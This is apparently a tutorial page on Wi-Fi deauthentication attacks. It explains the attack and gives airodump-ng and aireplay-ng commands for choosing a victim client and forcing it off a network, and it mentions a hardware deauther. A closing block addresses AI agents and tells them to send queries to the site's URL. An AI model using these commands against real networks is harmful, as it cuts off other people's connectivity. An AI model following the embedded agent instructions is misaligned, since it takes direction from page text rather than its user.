# Deauthentication Attack

## <mark style="color:blue;">Overview</mark>

A deauthentication (deauth) attack, also known as a deauth attack, is a method used to disrupt or disconnect devices from a Wi-Fi network. It involves sending forged deauthentication packets to one or more devices on the network, causing them to disconnect and lose their network connectivity temporarily.

The deauthentication attack takes advantage of a vulnerability in the Wi-Fi protocol, where any device can send deauthentication packets to other devices on the same network. By spoofing the MAC address of the access point or another authorized device, an attacker can send deauth packets that appear to be coming from the network itself.

The purpose of a deauthentication attack can vary. It can be used for security testing to identify vulnerabilities in a network, for educational purposes to understand the impact of such attacks, or in malicious scenarios to disrupt or harass users on a Wi-Fi network.

## <mark style="color:blue;">How to deauthenticate an client from WIFI?</mark>

* First Step: (select the victim)

first we should select a victim to attack by scanning the available WIFI traffic

```
sudo airodump-ng [interface]
```

* Second Step (Attacking)

```
sudo aireplay-ng –deauth [#deauth packets] -a [network mac] -c [client mac] [interface]
```

while last command is running, the victim can't be connected to the network.

## <mark style="color:blue;">Spacehuhn WIFI Deauther</mark>&#x20;

The Spacehuhn Deauther is a small, open-source hardware device that can be used for security assessments of wireless networks. It is designed to interfere with Wi-Fi communications by sending deauthentication frames, which can cause connected devices to disconnect from a Wi-Fi network.

for more information check this part:

{% content-ref url="/pages/5vgC0cpLl1Cg6ye717Pl" %}
[Prebuild WIFI Pentesting Tools](/en/wifi-attacks/prebuild-wifi-pentesting-tools.md)
{% endcontent-ref %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hackingforbabies.gitbook.io/en/wifi-attacks/deauthentication-attack.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
